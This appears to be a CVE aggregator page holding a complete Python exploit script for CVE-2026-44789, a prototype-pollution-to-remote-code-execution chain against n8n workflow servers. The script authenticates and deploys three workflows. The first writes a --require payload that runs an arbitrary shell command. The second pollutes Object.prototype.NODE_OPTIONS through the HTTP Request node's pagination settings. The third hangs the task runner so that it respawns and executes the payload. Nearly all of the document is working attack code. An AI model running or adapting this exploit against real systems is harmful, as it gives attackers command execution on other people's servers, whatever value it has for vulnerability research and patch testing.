5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-44789 - n8n < 1.123.43 - HTTP Request node pagination Prototype Pollution -> RCE

An authenticated workflow creator pollutes Object.prototype in the n8n *server* process
through the HTTP Request node's pagination settings, then escalates to OS command
execution by abusing how n8n (re)spawns its task runner.

Primitive (packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts):
    paginationData.request[parameter.type]![parameterName] = parameterValue;
With parameter.type = "__proto__", this assigns onto Object.prototype globally.

Gadget (packages/cli/src/task-runners/task-runner-process-js.ts):
    spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node's normalizeSpawnArguments iterates `for (key in env)`, which includes inherited
properties. Polluting Object.prototype.NODE_OPTIONS = "--require=<file>" therefore leaks
into the spawned runner's environment -> the runner `node` process executes <file> at
startup -> RCE, bypassing the Code-node sandbox.

The runner is spawned at startup; the lifecycle re-spawns it on exit, so the attacker
forces a respawn (after polluting) with a Code node that hangs/OOMs the runner.

Chain implemented here (single authenticated session, against a runners-enabled instance):
  1. write the --require payload to disk via the Read/Write Files node;
  2. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node;
  3. crash the task runner via a Code node -> it respawns with the leaked NODE_OPTIONS.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request


class N8n:
    def __init__(self, base):
        self.base = base.rstrip("/")
        self.cookie = ""

    def _req(self, path, data=None, method=None):
        h = {"Content-Type": "application/json"}
        if self.cookie:
            h["Cookie"] = self.cookie
        r = urllib.request.Request(
            self.base + path,
            data=json.dumps(data).encode() if data is not None else None,
            headers=h,
            method=method or ("POST" if data is not None else "GET"),
        )
        try:
            resp = urllib.request.urlopen(r, timeout=60)
            sc = resp.headers.get_all("Set-Cookie") or []
            return resp.status, resp.read().decode(), sc
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode(), []

    def auth(self, email, password):
        # first-run owner setup is a no-op if the instance is already initialised
        for _ in range(8):
            self._req("/rest/owner/setup", {"email": email, "firstName": "a", "lastName": "b", "password": password})
            st, _, sc = self._req("/rest/login", {"emailOrLdapLoginId": email, "password": password})
            if st == 200 and sc:
                self.cookie = "; ".join(c.split(";")[0] for c in sc)
                return self
            time.sleep(2)
        raise SystemExit("[!] login failed - supply valid --user/--password for an initialised instance")

    def deploy(self, name, nodes, connections):
        wf = {"name": name, "active": False, "nodes": nodes, "connections": connections, "settings": {}}
        st, body, _ = self._req("/rest/workflows", wf)
        if st != 200:
            raise SystemExit(f"[!] workflow create failed ({st}): {body[:160]}")
        wid = json.loads(body)["data"]["id"]
        self._req(f"/rest/workflows/{wid}", {"active": True}, "PATCH")
        return wid

    def fire(self, path, timeout=30):
        try:
            urllib.request.urlopen(self.base + "/webhook/" + path, data=b"{}", timeout=timeout)
        except Exception:
            pass


def hook(path, wid):
    return {"parameters": {"path": path, "httpMethod": "POST", "responseMode": "onReceived"},
            "type": "n8n-nodes-base.webhook", "typeVersion": 2, "position": [200, 300],
            "name": "Hook", "webhookId": wid}


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-44789 n8n prototype pollution -> RCE")
    ap.add_argument("target", help="n8n base URL, e.g. http://127.0.0.1:5678")
    ap.add_argument("-u", "--user", default="[email protected]")
    ap.add_argument("-p", "--password", default="Sup3rPass1")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the n8n host")
    ap.add_argument("--evil", default="/tmp/evil.js", help="path for the --require payload on the target host")
    args = ap.parse_args()

    safe = args.cmd.replace("\\", "\\\\").replace('"', '\\"')
    evil_js = f'require("fs").writeFileSync("/tmp/n8n_rce_proof","RCE "+require("child_process").execSync("{safe}").toString());'

    n = N8n(args.target).auth(args.user, args.password)
    print(f"[*] authenticated to {args.target}")

    # IMPORTANT: deploy ALL workflows BEFORE polluting. Once Object.prototype.NODE_OPTIONS is set,
    # n8n's TypeORM persistence enumerates the polluted key and workflow CRUD starts failing, so the
    # crash workflow could no longer be created. Webhook *execution* still works after pollution.

    # writer: Set -> Convert to File -> Read/Write Files  (drops the --require payload to disk)
    setn = {"parameters": {"assignments": {"assignments": [
                {"id": "1", "name": "data", "value": evil_js, "type": "string"}]}},
            "type": "n8n-nodes-base.set", "typeVersion": 3.4, "position": [450, 300], "name": "Set"}
    tofile = {"parameters": {"operation": "toText", "sourceProperty": "data", "binaryPropertyName": "f"},
              "type": "n8n-nodes-base.convertToFile", "typeVersion": 1.1, "position": [650, 300], "name": "ToFile"}
    write = {"parameters": {"operation": "write", "fileName": args.evil, "dataPropertyName": "f"},
             "type": "n8n-nodes-base.readWriteFile", "typeVersion": 1, "position": [850, 300], "name": "Write"}
    n.deploy("w", [hook("ppwrite", "ppwrite"), setn, tofile, write],
             {"Hook": {"main": [[{"node": "Set", "type": "main", "index": 0}]]},
              "Set": {"main": [[{"node": "ToFile", "type": "main", "index": 0}]]},
              "ToFile": {"main": [[{"node": "Write", "type": "main", "index": 0}]]}})

    # polluter: HTTP Request node with pagination type "__proto__" -> Object.prototype.NODE_OPTIONS
    http = {"parameters": {"url": args.target.rstrip("/") + "/healthz", "method": "GET",
             "options": {"pagination": {"pagination": {
                "paginationMode": "updateAParameterInEachRequest",
                "parameters": {"parameters": [
                    {"type": "__proto__", "name": "NODE_OPTIONS", "value": f"--require={args.evil}"}]},
                "paginationCompleteWhen": "receiveSpecificStatusCodes",
                "statusCodesWhenComplete": "200", "requestInterval": 0,
                "limitPagesFetched": True, "maxRequests": 1}}}},
            "type": "n8n-nodes-base.httpRequest", "typeVersion": 3, "position": [450, 300],
            "name": "HTTP Request", "onError": "continueRegularOutput"}
    n.deploy("p", [hook("pppoll", "pppoll"), http],
             {"Hook": {"main": [[{"node": "HTTP Request", "type": "main", "index": 0}]]}})

    # crasher: a Code node that hangs the runner -> task timeout kills it -> lifecycle respawns it
    boom = {"parameters": {"jsCode": "while(true){}"},
            "type": "n8n-nodes-base.code", "typeVersion": 2, "position": [450, 300],
            "name": "Boom", "onError": "continueRegularOutput"}
    n.deploy("b", [hook("ppboom", "ppboom"), boom],
             {"Hook": {"main": [[{"node": "Boom", "type": "main", "index": 0}]]}})
    print("[*] deployed writer / polluter / crasher workflows")

    # Ordering matters: the pollution breaks execution persistence, so the runner must already be
    # hung BEFORE we pollute. Then the hung runner times out and the main process respawns it with
    # the (by-then) polluted NODE_OPTIONS in its inherited environment.
    n.fire("ppwrite")
    print(f"[*] step 1: wrote --require payload to {args.evil} (via Read/Write Files node)")
    n.fire("ppboom", timeout=4)   # responseMode onReceived returns immediately; Code node hangs the runner
    print("[*] step 2: dispatched a hanging task -> runner is now busy")
    time.sleep(2)
    n.fire("pppoll")              # HTTP node runs in the MAIN process -> pollutes Object.prototype.NODE_OPTIONS
    print("[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=" + args.evil)
    print("[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...")
    time.sleep(20)
    print(f"[+] done. Check the target: cat /tmp/n8n_rce_proof  (command: {args.cmd!r})")
    print("    If empty, lower N8N_RUNNERS_TASK_TIMEOUT or re-fire /webhook/ppboom to force the respawn.")


if __name__ == "__main__":
    sys.exit(main())